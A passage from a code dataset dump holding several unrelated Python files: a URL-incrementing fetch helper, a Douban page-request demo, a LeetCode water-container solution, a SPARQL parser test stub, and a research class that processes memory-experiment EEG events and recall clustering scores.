try:\n for line in data.enumerate_incrementors():\n inc = json.loads(line)\n if inc[\"type\"] == \"numeric\":\n check_numeric_incrementor(inc, url, linkmap)\n else:\n print(\"*** Unexpected incrementor type:\", inc[\"type\"], \"--\", line)\n except FileNotFoundError:\n pass\n\n\ndef check_numeric_incrementor(inc, url, linkmap):\n compiled = re.compile(inc[\"pattern\"])\n match = compiled.match(url)\n if match:\n # expect RE to have one capture group, for the number\n v = int(match.group(1))\n up = url[:match.start(1)] + str(v + 1) + url[match.end(1):]\n if check_url_for_content(up):\n linkmap[up] = up\n if v > 0:\n down = url[:match.start(1)] + str(v - 1) + url[match.end(1):]\n if check_url_for_content(down):\n linkmap[down] = down\n if v == 1:\n down2 = url[:match.start(1)] + url[match.end(1):]\n if check_url_for_content(down2):\n linkmap[down2] = down2\n\n\ndef check_url_for_content(url):\n req = urllib.request.Request(url, method=\"HEAD\") \n try: \n resp = urllib.request.urlopen(req, timeout=TIMEOUT)\n except urllib.error.HTTPError:\n return False \n return resp.code == 200 and resp.geturl() == url\n\n\ndef filename_from_url(url):\n delim = \"://\"\n i = url.find(delim)\n if i >= 0:\n url = url[i + len(delim):]\n i = url.find(\"?\")\n if i >= 0:\n url = url[:i]\n i = url.find(\"&\")\n if i >= 0:\n url = url[:i]\n return url.replace(\"/\", \"_\").replace(\":\", \"_\").replace(\"?\", \"_\").replace(\"&\", \"_\")\n\n\ndef compute_hash(p):\n BUF_SZ = 65536\n sha1 = hashlib.sha1()\n with open(p, \"rb\") as f:\n while True:\n data =f.read(BUF_SZ)\n if not data:\n break\n sha1.update(data)\n return sha1.hexdigest()\n","sub_path":"shrdluv/command/pull_command.py","file_name":"pull_command.py","file_ext":"py","file_size_in_byte":17574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"334801943","text":"import requests\n\nURL = 'https://movie.douban.com/top250'\nHEADERS = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 ('\n 'KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',\n}\n\n\ndef test():\n # url = 'https://movie.douban.com/top250'\n resp = requests.get(url=URL, headers=HEADERS)\n print(resp.status_code)\n\n\nif __name__ == '__main__':\n test()\n","sub_path":"DoubanTop/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"604915293","text":"#TC = O(n)\n#SC = O(1)\n#Compiled and run on Leetcode\n\n\nclass Solution:\n def maxArea(self, height: List[int]) -> int:\n if (height == None and len(height) < 2): #edge cases\n return 0\n\n maxh = 0\n l = 0\n r = len(height) - 1\n\n while (l < r):\n maxh = max(maxh, (r - l) * min(height[l], height[r])) #logic to find area covered by water\n\n if (height[l] < height[r]): #iterate thr list to find other possibilities\n l += 1\n else:\n r -= 1\n\n return maxh","sub_path":"container_most_water.py","file_name":"container_most_water.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"116276081","text":"import unittest\nfrom rdflib import Graph\n\ndef buildQueryArgs(q):\n return dict(select=\"\", where=\"\", optional=\"\")\n\nclass SPARQLParserTest(unittest.TestCase):\n known_issue = True\n\n def setUp(self):\n self.graph = Graph()\n pass\n\n def tearDown(self):\n pass\n\ntests = [\n (\"basic\",\n \"\"\"\\\n SELECT ?name\n WHERE { ?a ?name }\"\"\"),\n (\"simple_prefix\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?name\n WHERE { ?a foaf:name ?name }\"\"\"),\n (\"base_statement\",\n \"\"\"\\\n BASE \n SELECT ?name\n WHERE { ?a ?name }\"\"\"),\n (\"prefix_and_colon_only_prefix\",\n \"\"\"\\\n PREFIX : \n PREFIX vcard: \n SELECT ?name ?title\n WHERE {\n ?a :name ?name .\n ?a vcard:TITLE ?title\n }\"\"\"),\n (\"predicate_object_list_notation\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?name ?mbox\n WHERE {\n ?x foaf:name ?name ;\n foaf:mbox ?mbox .\n }\"\"\"),\n (\"object_list_notation\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?x\n WHERE {\n ?x foaf:nick \"Alice\" ,\n \"Alice_\" .\n }\n \"\"\"),\n (\"escaped_literals\",\n \"\"\"\\\n PREFIX tag: \n PREFIX vcard: \n SELECT ?name\n WHERE {\n ?a tag:name ?name ;\n vcard:TITLE \"escape test vcard:TITLE \" ;\n \"This is a ''' Test \\\"\\\"\\\"\" ;\n ?d\n }\n \"\"\"),\n (\"key_word_as_variable\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?PREFIX ?WHERE\n WHERE {\n ?x foaf:name ?PREFIX ;\n foaf:mbox ?WHERE .\n }\"\"\"),\n (\"key_word_as_prefix\",\n \"\"\"\\\n PREFIX WHERE: \n SELECT ?name ?mbox\n WHERE {\n ?x WHERE:name ?name ;\n WHERE:mbox ?mbox .\n }\"\"\"),\n (\"some_test_cases_from_grammar_py_1\",\n \"\"\"\\\n SELECT ?title \n WHERE { \n \n \n ?title . \n }\"\"\"),\n (\"some_test_cases_from_grammar_py_2\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?name ?mbox\n WHERE { ?person foaf:name ?name .\n OPTIONAL { ?person foaf:mbox ?mbox}\n }\"\"\"),\n (\"some_test_cases_from_grammar_py_3\",\n \"\"\"\\\n PREFIX foaf: \n SELECT ?name ?name2\n WHERE { ?person foaf:name ?name .\n OPTIONAL { ?person foaf:knows ?p2 . ?p2 foaf:name ?name2 . }\n }\"\"\"),\n (\"some_test_cases_from_grammar_py_4\",\n \"\"\"\\\n PREFIX foaf: \n #PREFIX rdf: \n SELECT ?name ?mbox\n WHERE\n {\n { ?person rdf:type foaf:Person } .\n OPTIONAL { ?person foaf:name ?name } .\n OPTIONAL {?person foaf:mbox ?mbox} .\n }\"\"\")\n]\n\n\ndef _buildQueryArg(q):\n res = buildQueryArgs(q)\n if res.get('select', False):\n assert res[\"select\"] is not None\n if res.get('where', False):\n assert res[\"where\"] is not None\n if res.get('optional', False):\n assert res[\"optional\"] is not None\n # result = sparqlGr.query(select, where, optional)\n # self.assert_(self.graph.query(q) is not None)\n\n","sub_path":"test/test_sparql/test_sparql_parser.py","file_name":"test_sparql_parser.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"609864283","text":"\r\nfrom ptsa.data.readers import BaseEventReader\r\nimport numpy as np\r\nfrom scipy.spatial import distance\r\nimport scipy.stats as scps\r\nfrom numpy.lib.recfunctions import append_fields\r\nfrom glob import glob\r\n\r\n \r\nclass session(object):\r\n \"\"\"This class handles session specific information for deliveryPerson 2-4.\r\n\r\n Attributes:\r\n index: index of the session in the sessionList\r\n path: path to the events file in /data/events\r\n subj: subject name\r\n eeg: bool indicating whether events should be read with (0) or without events (1) without eeg\r\n eegpath: path to scalp eeg data in /data/eeg, read using the method get_events()\r\n hasmicro: bool indicating whether a subject has micro wire data, read using the method get_events()\r\n axis: do the events refer to second spatial dimension as Y or Z, read using the method get_events()\r\n events: events structure, read using the method get_events()\r\n snumber: number of session as read from the events. This is checked against the numeral in the events.mat name. Read using the method get_events()\r\n \"\"\"\r\n def __init__(self,index,eeg,sessionList):\r\n self.index = index\r\n self.path = sessionList[index]\r\n self.subj = self.path.split('/')[-1][:self.path.split('/')[-1].find('_e')]\r\n self.eeg = eeg\r\n self.eegpath = None\r\n self.hasmicro = None\r\n self.comp2rej = None\r\n self.axis = None\r\n \r\n def get_events(self,exc = None):\r\n \r\n # Read events\r\n if 'LTP' in self.path:\r\n events = BaseEventReader(filename=self.path, use_reref_eeg = True, eliminate_events_with_no_eeg=self.eeg, common_root='./data').read()\r\n else:\r\n events = BaseEventReader(filename=self.path, use_reref_eeg = False, eliminate_events_with_no_eeg=self.eeg, common_root='./data').read()\r\n \r\n eeg_file_info = events['eegfile']\r\n if self.subj == 'R1017J':\r\n eeg_file_info = ['/data/eeg'+ii if '/data/eeg' not in ii and ii is not '' else '' for ii in eeg_file_info ]\r\n events['eegfile'] = eeg_file_info\r\n \r\n if self.subj == 'R1027J':\r\n eeg_file_info = ['/data'+ii if '/data' not in ii and ii is not '' else '' for ii in eeg_file_info ]\r\n events['eegfile'] = eeg_file_info\r\n \r\n if 'DBoy3' in self.path or 'DBoy4' in self.path:\r\n self.axis = 'Z'\r\n else:\r\n self.axis = 'Y'\r\n \r\n if 'micfile' in events.dtype.names:\r\n self.hasmicro = True\r\n else: \r\n self.hasmiscro = False\r\n events = append_fields(events,['micfile','micoffset'],[np.array(['' for e in events], dtype = '1 for si in vec_stores if si != 'FITNESS STUDIO' and si != 'FAST FOOD' and si != 'JUWELIER GESCHAFT']):\r\n vec_stores[vec_stores == 'KOSTUMLADEN'] = 'DEN KOSTUMLADEN'\r\n if np.any(vec_stores == u'DAS JUWELIER GESCH\\xc4FT'):\r\n vec_stores[vec_stores == u'DAS JUWELIER GESCH\\xc4FT'] = 'DAS JUWELIER GESCHAFT'\r\n if np.any(vec_stores == u'DAS MUSIKGESCH\\xc4FT'):\r\n vec_stores[vec_stores == u'DAS MUSIKGESCH\\xc4FT'] = 'DAS MUSIKGESCHAFT'\r\n if np.any(vec_stores == u'DAS CAF\\xc9'):\r\n vec_stores[vec_stores == u'DAS CAF\\xc9'] = 'DAS CAFE'\r\n if np.any(vec_stores == u'DAS EISCAF\\xc9'):\r\n vec_stores[vec_stores == u'DAS EISCAF\\xc9'] = 'DAS EISCAFE'\r\n if np.any(vec_stores == u'DIE B\\xc4CKEREI'):\r\n vec_stores[vec_stores == u'DIE B\\xc4CKEREI'] = 'DIE BACKEREI'\r\n if np.any(vec_stores == u'DEN KOST\\xdcMLADEN'):\r\n vec_stores[vec_stores == u'DEN KOST\\xdcMLADEN'] = 'DEN KOSTUMLADEN'\r\n vec_stores = np.array(['_'.join(si.split(' ')) for si in vec_stores])\r\n self.events['store'] = vec_stores\r\n \r\n # Append encoding and recall times\r\n enc_mstime = [-999. if ev['type'] != 'REC_WORD'\r\n else events[(events['item'] == ev['item']) & (events['type'] == 'WORD') & (events['trial'] == ev['trial'])]['mstime'].tolist()[0] \r\n if len(events[(events['item'] == ev['item']) & (events['type'] == 'WORD') & (events['trial'] == ev['trial'])]['mstime']) == 1 \r\n else -999. \r\n if len(events[(events['item'] == ev['item']) & (events['type'] == 'WORD') & (events['trial'] == ev['trial'])]['mstime']) == 0\r\n else float('nan') for ev in events]\r\n \r\n if np.any(np.isnan(enc_mstime),axis = 0):\r\n raise ValueError('Wort repeat within list detected.')\r\n \r\n # Append recall filter\r\n repeat = [0 if (eventi.type == 'REC_WORD') & ([ii for ii in self.events[:ind]['item']].count(eventi['item']) < 2) \r\n else 1 if (eventi.type == 'REC_WORD') & (eventi.intrusion == 0) & ([ii for ii in self.events[:ind]['item']].count(eventi['item']) > 1) \r\n else -999 for ind,eventi in enumerate(self.events)]\r\n self.events = append_fields(self.events,'repeat',np.array(repeat),usemask=False, asrecarray=True)\r\n singleRecall = [0 if (eventi.type == 'REC_WORD') & (len([ii for ii in self.events[(self.events.trial == eventi.trial) & (self.events.type == 'REC_WORD') & (self.events.intrusion == 0) & (self.events['repeat'] == 0)]]) > 1)\r\n else 1 if (eventi.type == 'REC_WORD') & (eventi.intrusion == 0) & (eventi['repeat'] == 0) & (len([ii for ii in self.events[(self.events.trial == eventi.trial) & (self.events.type == 'REC_WORD') & (self.events.intrusion == 0) & (self.events['repeat'] == 0)]]) < 2)\r\n else -999 for eventi in self.events]\r\n surrVocalization = [-999 if eventi.type != 'REC_WORD'\r\n else 0 if (len(events[:ind][events[:ind].type == 'REC_WORD']) == 0) & (len(events[:ind][events[:ind].type == 'REC_WORD_VV']) == 0)\r\n or events[:ind][(events[:ind].type == 'REC_WORD') | (events[:ind].type == 'REC_WORD_VV')][-1].mstime < eventi.mstime - 1750\r\n else 1 for ind, eventi in enumerate(self.events)]\r\n output_positions = []\r\n outP = 1\r\n triali = 0\r\n for itemi in self.events:\r\n if itemi.type == 'REC_WORD' and itemi['intrusion'] < 1 and itemi['repeat'] < 1:\r\n if itemi['trial'] > triali:\r\n outP = 1\r\n triali = itemi['trial']\r\n output_positions.append(outP)\r\n outP += 1\r\n else: output_positions.append(-999)\r\n \r\n self.events = append_fields(self.events,['singleRecall','surrVocalization','enc_mstime','outputPosition'],[np.array(singleRecall),np.array(surrVocalization),np.array(enc_mstime),np.array(output_positions)],usemask=False, asrecarray=True)\r\n \r\n self.snumber = self.events[0][1]\r\n if 'sess'+str(self.snumber) not in self.path:\r\n raise ValueError('Filename and session number do not match for session: '+self.path)\r\n \r\n if 'LTP' in self.subj:\r\n self.eegpath = '/data/eeg/scalp/ltp/db2.5/'+self.subj+'/session_'+str(self.snumber)+'/eeg/eeg.reref/'\r\n f = open('/home1/nherweg/projects/DP3/analyses/comp2rej.txt')\r\n txtIn = f.read().split('\\n')\r\n comp2rej = [s.split(' ')[1].split(',') for s in txtIn if self.path in s]\r\n if len(comp2rej) == 1:\r\n self.comp2rej = [int(c) for c in comp2rej[0]]\r\n elif len(comp2rej) == 0:\r\n print('No components selected')\r\n else: raise ValueError('Something is wrong with comp2rej.txt. Failed to process '+self.path)\r\n return(self)\r\n \r\n def get_logfile_path(self):\r\n\r\n # Tentative log file\r\n print('Checking for /data/eeg/' + self.subj + '/behavioral/*oy*/session_'+ str(self.snumber) + '/log.txt')\r\n logfile = glob('/data/eeg/' + self.subj + '/behavioral/*oy*/session_'+ str(self.snumber) + '/log.txt')\r\n if len(logfile) == 1:\r\n logfile = logfile[0]\r\n file_type = 'txt'\r\n else:\r\n print('Checking for /data/eeg/' + self.subj + '/behavioral/*OY*/session_'+ str(self.snumber) + '/session.jsonl')\r\n logfile = glob('/data/eeg/' + self.subj + '/behavioral/*OY*/session_'+ str(self.snumber) + '/session.jsonl')\r\n if len(logfile) == 1:\r\n logfile = logfile[0]\r\n file_type = 'json'\r\n else:\r\n raise ValueError('Couldn''t locate log file')\r\n\r\n # Read order of early stores from log\r\n ordered_stores_log = []\r\n \r\n with open(logfile, 'r') as in_file:\r\n \r\n for line in in_file: \r\n\r\n #if 'Player transform' not in line and 'Sync pulse begin' not in line and 'pointer transform' not in line:\r\n if 'object presentation begins' in line:\r\n ordered_stores_log.append('_'.join(line.split('\"store name\":\"')[1].split('\"')[0].split(' ')))\r\n if 'Trial Event' in line and 'STORE_TARGET_STARTED' in line: \r\n ordered_stores_log.append(line.split('\\t')[4])\r\n #elif 'PLANNER_START' in line:\r\n # ordered_stores_log.append(line.split('\\t')[3])\r\n elif len(line.split('\\t')) > 2 and line.split('\\t')[2] == 'SIMPLESOUND_LOADFILE' and 'beephigh.wav' not in line.split('\\t')[-1]:\r\n ordered_stores_log.append(line.split('\\t')[-1].split('/')[-2].upper())\r\n elif 'showImage' in line.split('\\t')[-1] and 'coll_box' not in line.split('\\t')[-2] and line.split('\\t')[-3] == 'VROBJECT_COLLISIONCALLBACK':\r\n ordered_stores_log.append(line.split('\\t')[-2].upper())\r\n \r\n if np.setdiff1d(ordered_stores_log, self.events['store'][self.events['store']!='-999']).size>0:\r\n print(np.setdiff1d(ordered_stores_log, self.events['store'][self.events['store']!='-999']))\r\n print(self.events['store'][self.events['store']!='-999'])\r\n print(ordered_stores_log)\r\n raise ValueError('Stores don''t match.')\r\n \r\n if self.subj == 'FR429' and self.snumber == 0:\r\n ordered_stores_log = ordered_stores_log [1:12]\r\n else:\r\n ordered_stores_log = ordered_stores_log [:11]\r\n \r\n ordered_stores_events = self.events[(self.events['type'] == 'DELIV_START') | (self.events['type'] == 'INST') | (self.events['type'] == 'INST_FAM')]['store']\r\n ordered_stores_events = ordered_stores_events[ordered_stores_events != '-999'].tolist()[:41]\r\n # Compare order to order in events\r\n if len(ordered_stores_log) == 11 and np.all([si == sj for si,sj in zip(ordered_stores_events,ordered_stores_log)]): \r\n return logfile\r\n else: \r\n print(len(ordered_stores_log))\r\n print([si == sj for si,sj in zip(ordered_stores_events,ordered_stores_log)])\r\n print(ordered_stores_events)\r\n print(ordered_stores_log)\r\n raise ValueError('Logfile doesn''t match events')\r\n \r\n def get_stores(self):\r\n \r\n # Filter events\r\n filtered_events = self.events[self.events['type'] != 'STORE_FAM']\r\n \r\n # Get store names\r\n ident = [ii for ii in np.unique(filtered_events.store[(filtered_events.store != '[]') & (filtered_events.store != 'NaN') & (filtered_events.store != '-999')])]\r\n \r\n # Get store locations\r\n x = [np.unique(filtered_events.storeX[np.where(filtered_events.store == stname)[0]]) for stname in ident] \r\n z = [np.unique(filtered_events['store'+self.axis][np.where(filtered_events.store == stname)[0]]) for stname in ident]\r\n \r\n # Make sure each store only has one location\r\n if np.any([len(xi) != 1 for xi in x]):\r\n print(ident)\r\n print(x)\r\n raise ValueError('No consistent storeX location for session: '+self.path)\r\n if np.any([len(zi) != 1 for zi in z]):\r\n print(ident)\r\n print(z)\r\n raise ValueError('No consistent storeZ location for session: '+self.path)\r\n x = [xi[0] for xi in x]\r\n z = [zi[0] for zi in z]\r\n \r\n return(ident,x,z)\r\n \r\n def get_dist_mat(self,binned = False, k = 1, x = None, z = None, normalize = True): \r\n \r\n if x is None:\r\n # Get store information\r\n _,x,z = self.get_stores()\r\n \r\n # Calculate distances between all stores visited in this session\r\n d = distance.squareform(distance.pdist(np.column_stack((x,z)), metric='euclidean'))\r\n if normalize:\r\n d = np.triu(1-(d/np.max(d)),k=k) # 1 is closest and itself, 0 is farthest\r\n else: \r\n d = np.triu(d,k=k)\r\n\r\n if binned:\r\n binsize = len(np.unique(d))//3\r\n bins = [-1,np.unique(d)[binsize-1],np.unique(d)[(2*binsize)-1],1]\r\n #bins = [-1,1/3.,2/3.,1]\r\n d = np.digitize(d,bins,right = True)\r\n \r\n return(d)\r\n \r\n def calc_transition_dist(self, append = False, perm = False):\r\n\r\n REC = [[linei.trial,np.int(linei.serialPos),self.events[(self.events['item'] == linei['item']) & (self.events['type'] == 'WORD')]['mstime'][0],np.int(self.get_stores()[0].index(linei.store))]\r\n for linei in self.events if (linei.type == 'REC_WORD' and linei.intrusion==0 and linei['repeat'] != 1 and linei.singleRecall != 1)] \r\n\r\n if len(REC)>0:\r\n # Split data up in trials\r\n RECT = [[linei for linei in REC if linei[0]==triali] for triali in [ii for ii in np.unique([RECi[0] for RECi in REC])]] # Trial number,serialPos,encoding time,storeIdent\r\n\r\n if perm:\r\n RECT = [np.random.permutation(trial).tolist() for trial in RECT]\r\n RECT = [[[int(entry) if ind != 2 else entry for ind,entry in enumerate(transition)] for transition in trial] for trial in RECT]\r\n\r\n # Calculate normalized and binned spatial distance for each actual transition\r\n ATB = [self.get_dist_mat(binned = True)[np.min([RECTi[transition][3],RECTi[transition+1][3]]),np.max([RECTi[transition][3],RECTi[transition+1][3]])] \r\n for RECTi in RECT for transition in range(len(RECTi)-1)] #list of n trials per session\r\n ATL = [[self.get_dist_mat()[np.min([RECTi[transition][3],RECTi[transition+1][3]]),np.max([RECTi[transition][3],RECTi[transition+1][3]])] \r\n for transition in range(len(RECTi)-1)] for RECTi in RECT] #list of n trials per session of n transistions per trial\r\n ATL_time = [[abs(RECTi[transition+1][2]-RECTi[transition][2])/1000. for transition in range(len(RECTi)-1)] for RECTi in RECT]#list of n trials per session of n transistions per trial time in s\r\n\r\n # Calculate normalized and binned spatial distance for all possible transitions\r\n PTL = []\r\n PTB = []\r\n PTL_time = []\r\n for RECTi in RECT:#loop over trials\r\n PT = []\r\n PT_time = []\r\n # Initialize possible transistions too all stores and times presented on given trial\r\n PoR = range(len(self.get_stores()[0]))\r\n PoR = np.sort([i for i in PoR if i in \r\n [np.int(self.get_stores()[0].index(s)) for s in self.events[(self.events['trial'] == RECTi[0][0]) & (self.events['type'] == 'WORD')]['store'].tolist()]]).tolist()\r\n PoR_time = self.events[(self.events['trial'] == RECTi[0][0]) & (self.events['type'] == 'WORD')]['mstime'].tolist()\r\n for transition in range(len(RECTi)-1):\r\n # Present recall\r\n PrR = RECTi[transition][3] \r\n PrR_time = RECTi[transition][2]\r\n # Next recall\r\n NeR = RECTi[transition+1][3]\r\n NeR_time = RECTi[transition+1][2]\r\n if transition == 0:\r\n PoR.remove(PrR)#remove current recall from possible transitions\r\n PoR_time.remove(PrR_time)\r\n PTB.append(list(set([self.get_dist_mat(binned = True)[np.min([PoRi,PrR]),np.max([PoRi,PrR])] for PoRi in PoR])))#list(set(#taking all possible transisition instead of just the unique set should correct for the unequal number of stores per bin and associated unequal probability of recalling from a certain bin \r\n PoR.remove(NeR)#remove next recall from possible transitions for calculation of percentile score\r\n PoR_time.remove(NeR_time)\r\n if len(PoR)>0: # if subject recalls all item calculation of SCS not possible for last recall\r\n PT.append([self.get_dist_mat()[np.min([PoRi,PrR]),np.max([PoRi,PrR])] for PoRi in PoR])#distance for possible transisitons in list transitions x possible transition\r\n PT_time.append([abs(PrR_time - PoRi_time)/1000. for PoRi_time in PoR_time])\r\n PTL.append(PT)# appends PT over trials \r\n PTL_time.append(PT_time)\r\n PTB = [PTBii for PTBi in PTB for PTBii in PTBi]#creates flat version of PTB per session \r\n \r\n # Calculate percentile score\r\n SCS = [[scps.percentileofscore(PTLii,ATLii) for ATLii,PTLii in zip(ATLi,PTLi)] for ATLi, PTLi in zip(ATL,PTL)]\r\n TCS = [[100.-scps.percentileofscore(PTLii,ATLii) for ATLii,PTLii in zip(ATLi,PTLi)] for ATLi, PTLi in zip(ATL_time,PTL_time)]\r\n \r\n if perm:\r\n return SCS,TCS\r\n else:\r\n \r\n self.SCS = SCS\r\n self.TCS = TCS\r\n \r\n # Sum bin counts up irrespective of trials \r\n self.ATBc = np.array([ATB.count(bini) for bini in range(1,4)], dtype = float)\r\n self.PTBc = np.array([PTB.count(bini) for bini in range(1,4)], dtype = float)\r\n \r\n if append:\r\n\r\n # Reformat transisition distance to match events\r\n postDist = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,ATL) for lineiR,lineiA in zip(RECTi[:-1],ATLi)]) \r\n preDist = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,ATL) for lineiR,lineiA in zip(RECTi[1:] ,ATLi)]) \r\n\r\n postPerc = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,self.SCS) for lineiR,lineiA in zip(RECTi[:-1],ATLi)]) \r\n prePerc = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,self.SCS) for lineiR,lineiA in zip(RECTi[1:] ,ATLi)]) \r\n \r\n postDist_time = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,ATL_time) for lineiR,lineiA in zip(RECTi[:-1],ATLi)]) \r\n preDist_time = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,ATL_time) for lineiR,lineiA in zip(RECTi[1:] ,ATLi)]) \r\n\r\n postPerc_time = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,self.TCS) for lineiR,lineiA in zip(RECTi[:-1],ATLi)]) \r\n prePerc_time = np.array([[lineiR[0],lineiR[1],lineiA] for RECTi,ATLi in zip(RECT,self.TCS) for lineiR,lineiA in zip(RECTi[1:] ,ATLi)]) \r\n\r\n self.events = append_fields(self.events,'postDist',np.array([postDist[(postDist[:,0] == linei.trial) & (postDist[:,1] == linei.serialPos)][0][2] \r\n if postDist[(postDist[:,0] == linei.trial) & (postDist[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'preDist',np.array([preDist[(preDist[:,0] == linei.trial) & (preDist[:,1] == linei.serialPos)][0][2] \r\n if preDist[(preDist[:,0] == linei.trial) & (preDist[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'postPerc',np.array([postPerc[(postPerc[:,0] == linei.trial) & (postPerc[:,1] == linei.serialPos)][0][2] \r\n if postPerc[(postPerc[:,0] == linei.trial) & (postPerc[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'prePerc',np.array([prePerc[(prePerc[:,0] == linei.trial) & (prePerc[:,1] == linei.serialPos)][0][2] \r\n if prePerc[(prePerc[:,0] == linei.trial) & (prePerc[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n\r\n self.events = append_fields(self.events,'postDist_time',np.array([postDist_time[(postDist_time[:,0] == linei.trial) & (postDist_time[:,1] == linei.serialPos)][0][2] \r\n if postDist_time[(postDist_time[:,0] == linei.trial) & (postDist_time[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'preDist_time',np.array([preDist_time[(preDist_time[:,0] == linei.trial) & (preDist_time[:,1] == linei.serialPos)][0][2] \r\n if preDist_time[(preDist_time[:,0] == linei.trial) & (preDist_time[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'postPerc_time',np.array([postPerc_time[(postPerc_time[:,0] == linei.trial) & (postPerc_time[:,1] == linei.serialPos)][0][2] \r\n if postPerc_time[(postPerc_time[:,0] == linei.trial) & (postPerc_time[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'prePerc_time',np.array([prePerc_time[(prePerc_time[:,0] == linei.trial) & (prePerc_time[:,1] == linei.serialPos)][0][2] \r\n if prePerc_time[(prePerc_time[:,0] == linei.trial) & (prePerc_time[:,1] == linei.serialPos)].shape[0] == 1 else float('nan') \r\n for linei in self.events]),usemask=False, asrecarray=True) \r\n else:\r\n self.ATBc = []\r\n self.PTBc = []\r\n self.SCS = []\r\n self.TCS = []\r\n \r\n if append: \r\n self.events = append_fields(self.events,'postDist',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'preDist',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'postPerc',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'prePerc',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'postDist_time',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'preDist_time',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'postPerc_time',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n self.events = append_fields(self.events,'prePerc_time',np.ones(len(self.events)) * float('nan'),usemask=False, asrecarray=True) \r\n return(self) \r\n \r\n def determine_micro_recording_type(self):\r\n \r\n micfile_list = [item for sublist in [self.events[ni] for ni in self.events.dtype.names if 'micfile' in ni] for item in sublist]\r\n micfile = np.unique([thefile for thefile in micfile_list if thefile != '' and thefile != '[]'])\r\n \r\n if len(micfile) > 0 and 'CSC' in micfile[0] and 'eeg.noreref' not in micfile[0]:\r\n recording = 'neuralynx'\r\n elif len(micfile) > 0 and '.ns' in micfile[0] and 'eeg.noreref' not in micfile[0]: \r\n recording = 'blackrock'\r\n elif 'eeg.noreref' not in micfile[0]:\r\n recording = 'split_channel'\r\n else: \r\n print (micfile)\r\n raise ValueError('Data doesn''t seem to be aligned.')\r\n \r\n return recording\r\n \r\n def get_mtl_micros(self,subi):\r\n \r\n micfile_list = [item for sublist in [self.events[ni] for ni in self.events.dtype.names if 'micfile' in ni] for item in sublist]\r\n micfile = np.unique([thefile for thefile in micfile_list if thefile != '' and thefile != '[]'])\r\n \r\n recording = self.determine_micro_recording_type()\r\n \r\n bad_leads = subi.find_bad_micros()\r\n non_mtl_leads = subi.find_non_mtl_micros(recording = recording)\r\n print(non_mtl_leads)\r\n if recording == 'blackrock':\r\n \r\n from os import path \r\n import sys\r\n sys.path.append(path.abspath('/home1/nherweg/toolbox/brPY'))\r\n from brpylib import NsxFile\r\n \r\n nsx_file = NsxFile(micfile[0])\r\n config = nsx_file.getdata('all', 1, 1, 1)\r\n samplerate = config['samp_per_s']\r\n\r\n if self.subj[:2] == 'FR':\r\n channels = [config['elec_ids'][ind] for ind,hdr_ind in enumerate(config['ExtendedHeaderIndices']) \r\n if np.all([bad_chan not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for bad_chan in bad_leads]) and nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] not in non_mtl_leads]\r\n channel_names = [nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for hdr_ind in config['ExtendedHeaderIndices'] #nsx_file[0].extended_headers[hdr_ind]['ElectrodeLabel']\r\n if np.all([bad_chan not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for bad_chan in bad_leads]) and nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] not in non_mtl_leads]\r\n else:\r\n channels = [config['elec_ids'][ind] for ind,hdr_ind in enumerate(config['ExtendedHeaderIndices']) \r\n if 'chan' not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] and np.all([bad_chan not in nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] for bad_chan in bad_leads]) and nsx_file.extended_headers[hdr_ind]['ElectrodeLabel'] not in 